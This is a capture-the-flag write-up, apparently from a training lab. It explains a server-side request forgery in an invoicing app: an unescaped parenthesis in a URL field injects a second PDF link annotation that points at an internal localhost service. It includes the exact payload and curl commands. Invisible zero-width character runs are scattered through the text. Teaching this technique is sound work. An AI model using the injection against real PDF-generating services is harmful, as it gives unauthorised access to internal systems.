← Back to Writeups
CUSTOMMediumWeb

LedgerLink — SSRF via PDF Annotation URI Injection

XESXOR9/2/20264 min read
#web#custom#medium#https_validation_bypass#pdf_annotation_uri_injection#pdf_syntax_injection#ssrf_via_pdf_link_validation

LedgerLink — SSRF via PDF Annotation URI Injection

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: https_validation_bypass, pdf_annotation_uri_injection, pdf_syntax_injection, ssrf_via_pdf_link_validation

Summary

Walkthrough of the CUSTOM Web LedgerLink — SSRF via PDF Annotation URI Injection. Task: LedgerLink invoicing platform embeds client_website URL as PDF URI annotation and validates links server-side; input validated for HTTPS prefix but PDF parentheses not escaped. Solution: inject

Description

LedgerLink is an online invoicing platform used by freelancers and small businesses to create, manage, and send professional invoices. Users fill in client details, add line items, and generate polished PDF invoices that can be downloaded or shared via link. The platform includes a link verification feature that checks the accessibility of all URLs embedded in generated invoices.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The application is a Node.js/Express app behind nginx/1.25.5. Users create invoices with a client_website field. The URL is embedded as a clickable PDF URI annotation in the generated invoice PDF. A server-side link validation service then parses the PDF, extracts all URI annotations, and fetches each one to verify accessibility. An internal metadata service on localhost:3001 is only accessible from within the server. The goal is to retrieve the flag from this internal service.

Analysis

Application Flow

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. User creates an invoice at /invoices/new, providing client details including a client_website URL
  2. The server generates a PDF invoice with the website URL embedded as a PDF URI annotation:
    << /Type /Annot /Subtype /Link /Rect [72 566 350 580] /Border [0 0 0]
       /A << /S /URI /URI (https://example.com/) >> >>
    
  3. A link validation service parses the generated PDF, extracts all URI annotations, and fetches each URL server-side
  4. Validation results (HTTP status, content type) are displayed on the invoice detail page ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Input Validation

The server validates that client_website starts with https:// — this prevents directly supplying http://localhost:3001/flag. However, the server does not sanitize PDF special characters (specifically parentheses) before embedding the URL into the PDF annotation syntax.

Vulnerability: PDF Annotation URI Injection

In PDF syntax, URI values are enclosed in parentheses: (https://example.com/). If the user-supplied URL contains a closing parenthesis ), it terminates the URI string prematurely. Everything after the ) is interpreted as raw PDF syntax, allowing injection of additional annotation objects. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is analogous to SQL injection but in PDF object syntax — the URL value escapes its string delimiter and injects structural PDF content.

Internal Service Discovery

  • http://localhost:3001/ → {"error":"Not found"} (HTTP 404) — confirms the service exists
  • http://localhost:3001/flag → FLAG{REDACTED} (HTTP 200, text/plain)

Decoy Flags

The application contains decoy flags in HTML comments: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — designed to trick automated scanners and AI agents into submitting a fake flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Login and Explore

bash
# Login with provided credentials
curl -c cookies.txt -X POST https://<instance>.labs.hackadvisor.io/login \
  -d "email=user@test.com&password=password123"

# Navigate to invoice creation form
curl -b cookies.txt https://<instance>.labs.hackadvisor.io/invoices/new

The form at /invoices/new has a client_website field with the hint: "Must use HTTPS. This URL will be added as a clickable link annotation in the generated PDF and verified by our link validation service." ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Craft the PDF Annotation Injection Payload

The key insight is that the URL is placed inside PDF parentheses without escaping. We can inject a closing ) to terminate the first annotation and then inject a complete second annotation pointing to the internal service:

https://example.com) >> >> << /Type /Annot /Subtype /Link /Rect [0 0 0 0] /Border [0 0 0] /A << /S /URI /URI (http://localhost:3001/flag

This passes the https:// prefix check because the input starts with https://example.com. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Understand the Injection Result

When embedded in the PDF, the annotation section becomes:

%% Original annotation (terminated early by injected parenthesis):
<< /Type /Annot /Subtype /Link /Rect [72 566 350 580] /Border [0 0 0]
   /A << /S /URI /URI (https://example.com) >> >>

%% Injected second annotation:
<< /Type /Annot /Subtype /Link /Rect [0 0 0 0] /Border [0 0 0]
   /A << /S /URI /URI (http://localhost:3001/flag) >> >>

The PDF now contains two valid URI annotations:

  1. https://example.com — benign, from the truncated original
  2. http://localhost:3001/flag — our injected SSRF target ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Submit the Invoice and Trigger SSRF

bash
# Create invoice with the injection payload in client_website
curl -b cookies.txt -X POST https://<instance>.labs.hackadvisor.io/invoices/new \
  -d "client_name=Test+Client" \
  -d "client_website=https://example.com)+>>+>>+<<+/Type+/Annot+/Subtype+/Link+/Rect+[0+0+0+0]+/Border+[0+0+0]+/A+<<+/S+/URI+/URI+(http://localhost:3001/flag" \
  -d "item_description=Test&item_amount=100"

The server:

  1. Generates the PDF with both annotations
  2. The link validation service parses the PDF and extracts both URIs
  3. Fetches https://example.com (succeeds, HTTP 200)
  4. Fetches http://localhost:3001/flag server-side (succeeds, HTTP 200)
  5. Displays the response content on the invoice detail page ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Retrieve the Flag

View the invoice detail page — the link validation results show the response from http://localhost:3001/flag:

URL: http://localhost:3001/flag
Status: 200
Content-Type: text/plain
Response: FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering https_validation_bypass, pdf_annotation_uri_injection, pdf_syntax_injection, ssrf_via_pdf_link_validation was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-03 • CUSTOM • LedgerLink — SSRF via PDF Annotation URI Injection • Difficulty: Medium